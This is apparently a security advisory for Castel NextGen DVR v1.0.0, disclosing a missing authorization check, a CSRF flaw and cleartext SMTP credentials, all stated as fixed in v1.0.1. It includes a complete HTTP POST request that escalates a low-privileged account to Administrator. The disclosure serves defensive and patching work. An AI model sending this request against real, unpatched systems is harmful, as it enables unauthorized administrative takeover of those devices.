All issues are associated with *Castel NextGen DVR v1.0.0 *and have been  
resolved in v1.0.1*.*  
*Original Disclosure*  
A low privileged user can call functionality reserved for an Administrator  
which promotes a low privileged account to the Administrator role:  
POST /Administration/Users/Edit/:ID HTTP/1.1  
> Host: $RHOST  
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
> Firefox/52.0  
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
> Accept-Language: en-US,en;q=0.5  
> Accept-Encoding: gzip, deflate  
> DNT: 1  
> Connection: close  
> Upgrade-Insecure-Requests: 1  
> Content-Type: application/x-www-form-urlencoded  
> Content-Length: 349  
> UserId=:ID&  
> &FirstName=bypass&LastName=bypass&LDAPUser=false  
> &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false  
> &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false  
> &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false  
> &Locked=false  
*Original Disclosure*  
The application does not perform an authorization check before  
functionality is performed. Low privileged users are prevented from  
browsing to pages that perform Administrator functionality using GET,  
however, functionality can be performed by directly crafting the associated  
POST request. This can be exploited to modify user accounts, modify the  
application, etc. Combined with the reported CSRF, CVE-2020-11682, any  
user of the application can be used to grant Administrator access to a  
malicious user.  
*Original Disclosure*  
Credentials are returned in cleartext in the source of the SMTP page. If a  
malicious user compromises an account. or exploits the CSRF to gain access  
to the application, the associated SMTP server/account could also be  
*Original Disclosure*  
The application does not properly prevent CSRF; the  
__RequestVerificationToken, which is included with state changing requests,  
is not verified by the application - requests are successful even when the  
token is removed.  
AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image: